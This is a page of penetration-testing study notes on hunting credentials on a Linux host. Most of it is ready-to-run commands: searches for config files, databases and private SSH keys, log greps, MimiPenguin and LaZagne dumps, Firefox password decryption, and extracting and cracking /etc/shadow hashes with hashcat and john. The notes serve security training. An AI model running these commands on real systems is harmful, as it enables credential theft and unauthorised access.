Noirchapeau's Gitbook
Noirchapeau
Noirchapeau
  • Welcome to NoirChapeau Gitbook
  • Network Mapping and Security Auditing Tool
  • Footprinting - Enumeration and Information Gathering Notes
    • FTP Pentesting Notes
    • SMB Pentesting Notes
    • SSH Pentesting Notes
    • IPMI Pentesting Notes
    • Oracle TNS Pentesting Notes
    • MSSQL Pentesting Notes
    • MySQL Pentesting Notes
    • SNMP Pentesting Notes
    • IMAP/POP3 Pentesting Notes
    • SMTP Pentesting Notes
    • DNS Pentesting Notes
    • NFS Pentesting Notes
  • Web Reconnaissance Notes
  • Vulnerability Assessment Notes
    • Nessus Vulnerability Scanner Notes
    • OpenVAS (GVM) Vulnerability Scanner Notes
  • File Transfer Techniques for Pentesting
    • Advanced File Transfer Techniques
    • File Transfer Detection & Evasion Techniques
  • Shells & Payloads: Shell Overview
    • Shells & Payloads: Payloads Overview
    • Shells & Payloads: Web Shells Overview
    • Shells & Payloads: Detection & Prevention
  • Metasploit
    • Working with Metasploit Modules
    • Targets and Payloads
    • Encoders & Msfvenom: Advanced Exploitation Techniques
    • Database Management in Metasploit
    • Sessions and Jobs
    • Writing and Importing Custom Modules into Metasploit
    • Firewall and IDS/IPS Evasion
  • Password Attacks
    • Remote Password Attacks
    • Windows Local Password Attacks
    • Linux Local Password Attacks
    • Windows Lateral Movement
    • Files & Archives Cracking
    • Password Management
  • Interacting with Common Services
    • Protocol Specific Attacks
Powered by GitBook
On this page
  • Overview of Credential Hunting
  • Key Credential Sources
  • 1. File-based Credential Sources
  • 2. Historical Information Sources
  • 3. Memory and Credential Storage
  • Systematic Credential Extraction Methodology
  • 1. Configuration Files Reconnaissance
  • 2. Database File Discovery
  • 3. SSH Key Exploration
  • 4. Comprehensive Log Analysis
  • Credential Extraction Tools
  • 1. MimiPenguin
  • 2. LaZagne
  • 3. Firefox Decrypt
  • Password Cracking Workflow
  • 1. Hash Extraction
  • 2. Hashcat Cracking Techniques
  • 3. John Cracking Techniques
  • Critical Recommendations
  • Useful Log Locations
  • Tool Links
  1. Password Attacks

Linux Local Password Attacks

Overview of Credential Hunting

Credential hunting is a critical phase in penetration testing and privilege escalation, involving systematic exploration of various system sources to uncover sensitive authentication information.

Key Credential Sources

1. File-based Credential Sources

  • Configuration files

  • Databases

  • Notes and scripts

  • Cronjobs

  • SSH Keys

2. Historical Information Sources

  • Command history

  • Bash-related files

  • Log files

3. Memory and Credential Storage

  • System memory

  • Browser credentials

  • Keyrings

Systematic Credential Extraction Methodology

1. Configuration Files Reconnaissance

  • Command for Scanning Configuration Files:

    for l in $(echo ".conf .config .cnf");do 
      echo -e "\nFile extension: " $l; 
      find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core"
    done
  • Key Search Strategies:

    • Look for files with .conf, .config, .cnf extensions

    • Use grep to search for keywords: user, password, pass

    • Exclude unnecessary system directories

2. Database File Discovery

  • Command for Database File Hunting:

    for l in $(echo ".sql .db .*db .db*");do 
      echo -e "\nDB File extension: " $l; 
      find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man"
    done
  • Focus Areas:

    • SQL databases

    • .db files

    • Hidden database files

3. SSH Key Exploration

  • Private Key Search:

    grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"
  • Public Key Search:

    grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"

4. Comprehensive Log Analysis

  • Log File Scanning Command:

    for i in $(ls /var/log/* 2>/dev/null);do 
      GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null)
      if [[ $GREP ]];then 
        echo -e "\n#### Log file: " $i
        grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null
      fi
    done

Credential Extraction Tools

1. MimiPenguin

  • Purpose: Memory credential extraction

  • Usage:

    sudo python3 mimipenguin.py
    sudo bash mimipenguin.sh

2. LaZagne

  • Comprehensive Credential Extraction

  • Command:

    sudo python2.7 laZagne.py all
  • Supports Extraction From:

    • WiFi

    • Browsers

    • SSH

    • Keyrings

    • Multiple other sources

3. Firefox Decrypt

  • Usage:

    python3.9 firefox_decrypt.py

Password Cracking Workflow

1. Hash Extraction

  • Use unshadow to combine /etc/passwd and /etc/shadow files

    sudo cp /etc/passwd /tmp/passwd.bak
    sudo cp /etc/shadow /tmp/shadow.bak
    unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes

2. Hashcat Cracking Techniques

  • SHA-512 Hash Cracking:

    hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked
  • MD5 Hash Cracking:

    hashcat -m 500 -a 0 md5-hashes.list rockyou.txt

3. John Cracking Techniques

  • SHA-512 Hash Cracking:

    john --wordlist=rockyou.txt --format=sha512crypt /tmp/unshadowed.hashes

Critical Recommendations

  • Always adapt your approach to the specific system environment

  • Understand the system's purpose and network role

  • Be systematic and thorough in your search

  • Respect legal and ethical boundaries during penetration testing

Useful Log Locations

  • /var/log/messages

  • /var/log/syslog

  • /var/log/auth.log

  • /var/log/secure

  • /var/log/faillog

Tool Links

  • MimiPenguin: https://github.com/huntergregal/mimipenguin

  • LaZagne: https://github.com/AlessandroZ/LaZagne

  • Firefox Decrypt: https://github.com/unode/firefox_decrypt

PreviousWindows Local Password AttacksNextWindows Lateral Movement